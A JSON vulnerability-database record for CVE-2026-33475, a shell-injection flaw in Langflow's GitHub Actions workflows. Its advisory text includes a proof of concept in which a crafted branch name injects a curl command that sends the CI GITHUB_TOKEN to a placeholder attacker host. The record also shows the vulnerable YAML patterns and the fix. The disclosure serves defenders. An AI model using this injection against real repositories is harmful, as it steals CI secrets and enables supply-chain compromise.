{"cve":"CVE-2026-33475","nvd":{"published":"2026-03-24T13:16:04.030","modified":"2026-06-17T10:37:33.693","status":"Analyzed","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.\n\n---\n\n### Details\n\nSeveral workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:\n\n```yaml\nrun: |\n  validate_branch_name \"${{ github.event.pull_request.head.ref }}\"\n```\n\nOr:\n\n```yaml\nrun: npx playwright install ${{ inputs.browsers }} --with-deps\n```\n\nSince `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.\n\n---\n\n### PoC\n\n1. **Fork** the Langflow repository\n2. **Create a new branch** with the name:\n   ```bash\n   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n   ```\n3. **Open a Pull Request** to the main branch from the new branch\n4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)\n5. The `run:` step containing:\n   ```yaml\n   echo \"Branch: ${{ github.head_ref }}\"\n   ```\n   Will execute:\n   ```bash\n   echo \"Branch: injection-test\"\n   curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n   ```\n\n6. The attacker receives the CI secret via the exfil URL.\n\n---\n\n### Impact\n\n- **Type:** Shell Injection / Remote Code Execution in CI\n- **Scope:** Any public Langflow fork with GitHub Actions enabled\n- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data\n\n---\n\n### Suggested Fix\n\nRefactor affected workflows to **use environment variables** and wrap them in **double quotes**:\n\n```yaml\nenv:\n  BRANCH_NAME: ${{ github.head_ref }}\nrun: |\n  echo \"Branch is: \\\"$BRANCH_NAME\\\"\"\n```\n\nAvoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.\n\n---\n\n### Affected Files (Langflow `1.3.4`)\n\n- `.github/actions/install-playwright/action.yml`\n- `.github/workflows/deploy-docs-draft.yml`\n- `.github/workflows/docker-build.yml`\n- `.github/workflows/release_nightly.yml`\n- `.github/workflows/python_test.yml`\n- `.github/workflows/typescript_test.yml`","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1},"cwes":["CWE-74","CWE-78"],"references":["https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w"],"products":["langflow:langflow"],"source":"nvd","synced_at":"2026-10-19T22:26:19.218427112+00:00"},"epss":{"cve":"CVE-2026-33475","score":0.03154,"percentile":0.87961,"date":"2026-10-31"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}